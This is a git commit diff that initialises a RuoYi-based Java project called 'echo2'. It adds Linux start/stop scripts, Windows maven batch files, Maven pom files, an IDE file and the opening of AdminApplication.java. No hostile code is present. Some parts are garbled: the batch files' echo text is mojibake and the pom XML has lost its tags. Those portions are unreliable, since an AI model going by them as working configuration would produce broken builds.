commit d732aa105c22afc6a9210e9e171c0257241e4bbc Author: 453530270@qq.com Date: Fri Aug 2 20:51:46 2024 +0800 项目初始化 diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a82c0a6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# ---> Java +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* + +.idea/ +.mvn/ +target/ +json/ \ No newline at end of file diff --git a/bin/admin.sh b/bin/admin.sh new file mode 100644 index 0000000..67a1ec1 --- /dev/null +++ b/bin/admin.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-admin' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/admin' +#更改jar 名称 +mv $JAR_PATH/"echo2-admin.jar" $JAR_PATH/$2"-admin.jar" +# jar包名称 +JAR_NAME=$2"-admin.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms512m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx1024m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=512m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/admin.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/admin.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/bin/api.sh b/bin/api.sh new file mode 100644 index 0000000..82aa7b4 --- /dev/null +++ b/bin/api.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-api' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/api' +#更改jar 名称 +mv $JAR_PATH/"echo2-api.jar" $JAR_PATH/$2"-api.jar" +# jar包名称 +JAR_NAME=$2"-api.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms1024m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx2048m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=1024m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=1024m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/api.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/api.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/bin/clean.bat b/bin/clean.bat new file mode 100644 index 0000000..24c0974 --- /dev/null +++ b/bin/clean.bat @@ -0,0 +1,12 @@ +@echo off +echo. +echo [Ϣ] target· +echo. + +%~d0 +cd %~dp0 + +cd .. +call mvn clean + +pause \ No newline at end of file diff --git a/bin/package.bat b/bin/package.bat new file mode 100644 index 0000000..c693ec0 --- /dev/null +++ b/bin/package.bat @@ -0,0 +1,12 @@ +@echo off +echo. +echo [Ϣ] Weḅwar/jarļ +echo. + +%~d0 +cd %~dp0 + +cd .. +call mvn clean package -Dmaven.test.skip=true + +pause \ No newline at end of file diff --git a/bin/run.bat b/bin/run.bat new file mode 100644 index 0000000..41efbd0 --- /dev/null +++ b/bin/run.bat @@ -0,0 +1,14 @@ +@echo off +echo. +echo [Ϣ] ʹJarWeb̡ +echo. + +cd %~dp0 +cd ../ruoyi-admin/target + +set JAVA_OPTS=-Xms256m -Xmx1024m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=512m + +java -jar %JAVA_OPTS% ruoyi-admin.jar + +cd bin +pause \ No newline at end of file diff --git a/doc/若依环境使用手册.docx b/doc/若依环境使用手册.docx new file mode 100644 index 0000000..9e4daef Binary files /dev/null and b/doc/若依环境使用手册.docx differ diff --git a/echo2.0启动脚本/admin.sh b/echo2.0启动脚本/admin.sh new file mode 100644 index 0000000..67a1ec1 --- /dev/null +++ b/echo2.0启动脚本/admin.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-admin' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/admin' +#更改jar 名称 +mv $JAR_PATH/"echo2-admin.jar" $JAR_PATH/$2"-admin.jar" +# jar包名称 +JAR_NAME=$2"-admin.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms512m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx1024m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=512m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/admin.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/admin.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/echo2.0启动脚本/api.sh b/echo2.0启动脚本/api.sh new file mode 100644 index 0000000..ab5f454 --- /dev/null +++ b/echo2.0启动脚本/api.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-api' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/api' +#更改jar 名称 +mv $JAR_PATH/"echo2-api.jar" $JAR_PATH/$2"-api.jar" +# jar包名称 +JAR_NAME=$2"-api.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms512m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx1024m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=512m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/api.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/api.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/pom.xml b/pom.xml new file mode 100644 index 0000000..c9d0f26 --- /dev/null +++ b/pom.xml @@ -0,0 +1,256 @@ + + + 4.0.0 + + com.ruoyi + ruoyi + 3.8.5 + + ruoyi + http://www.ruoyi.vip + 若依管理系统 + + + 3.8.5 + UTF-8 + UTF-8 + 1.8 + 3.1.1 + 1.2.16 + 1.21 + 3.0.0 + 2.3.3 + 1.4.6 + 2.0.25 + 6.4.0 + 2.11.0 + 3.2.2 + 4.1.2 + 2.3 + 0.9.1 + + + + + + + + + org.springframework.boot + spring-boot-dependencies + 2.5.15 + pom + import + + + + + com.alibaba + druid-spring-boot-starter + ${druid.version} + + + + + eu.bitwalker + UserAgentUtils + ${bitwalker.version} + + + + + com.github.pagehelper + pagehelper-spring-boot-starter + ${pagehelper.boot.version} + + + + + com.github.oshi + oshi-core + ${oshi.version} + + + + + io.springfox + springfox-boot-starter + ${swagger.version} + + + io.swagger + swagger-models + + + + + + + commons-io + commons-io + ${commons.io.version} + + + + + org.apache.poi + poi-ooxml + ${poi.version} + + + + + org.apache.velocity + velocity-engine-core + ${velocity.version} + + + + + commons-collections + commons-collections + ${commons.collections.version} + + + + + com.alibaba.fastjson2 + fastjson2 + ${fastjson.version} + + + + + io.jsonwebtoken + jjwt + ${jwt.version} + + + + + pro.fessional + kaptcha + ${kaptcha.version} + + + + + com.ruoyi + ruoyi-quartz + ${ruoyi.version} + + + + + com.ruoyi + ruoyi-generator + ${ruoyi.version} + + + + + com.ruoyi + ruoyi-framework + ${ruoyi.version} + + + + + com.ruoyi + ruoyi-system + ${ruoyi.version} + + + + + org.projectlombok + lombok + 1.18.26 + + + + + + + + + + + + + + com.ruoyi + ruoyi-common + ${ruoyi.version} + + + com.squareup.okhttp3 + okhttp + 4.9.0 + + + + + + ruoyi-admin + ruoyi-framework + ruoyi-system + ruoyi-quartz + ruoyi-generator + ruoyi-common + ruoyi-api + + pom + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + ${java.version} + ${java.version} + ${project.build.sourceEncoding} + + + + + + + + echo2-group + echo2-group + https://nexus.ok6.cc/repository/echo2-group/ + + true + + + + + + + echo2-group + echo2-group + https://nexus.ok6.cc/repository/echo2-group/ + true + + + + + + echo2-group + echo2-group + https://nexus.ok6.cc/repository/echo2-group/ + + true + + + false + + + + + diff --git a/ruoyi-admin/echo2-admin.iml b/ruoyi-admin/echo2-admin.iml new file mode 100644 index 0000000..5ae8822 --- /dev/null +++ b/ruoyi-admin/echo2-admin.iml @@ -0,0 +1,318 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-admin/pom.xml b/ruoyi-admin/pom.xml new file mode 100644 index 0000000..1b68f1c --- /dev/null +++ b/ruoyi-admin/pom.xml @@ -0,0 +1,107 @@ + + + + ruoyi + com.ruoyi + 3.8.5 + + 4.0.0 + jar + echo2-admin + + + web服务入口 + + + + + + + org.springframework.boot + spring-boot-devtools + true + + + + + io.springfox + springfox-boot-starter + + + + + io.swagger + swagger-models + 1.6.2 + + + + + mysql + mysql-connector-java + + + + + com.ruoyi + ruoyi-framework + + + + + com.ruoyi + ruoyi-quartz + + + + + com.ruoyi + ruoyi-generator + + + cc.block.data + blockcc-api-client + 1.3.2 + + + cc.block.data + blockcc-api-client + 1.3.2 + compile + + + + + + + + org.springframework.boot + spring-boot-maven-plugin + 2.1.1.RELEASE + + true + + + + + repackage + + + + + + org.apache.maven.plugins + maven-war-plugin + 3.1.0 + + false + ${project.artifactId} + + + + ${project.artifactId} + + + \ No newline at end of file diff --git a/ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java b/ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java new file mode 100644 index 0000000..0946cac --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java @@ -0,0 +1,31 @@ +package com.ruoyi; + +import com.ruoyi.framework.ethws.WebSocketClientFactory; +import org.springframework.beans.factory.annotation.Autowired; +import 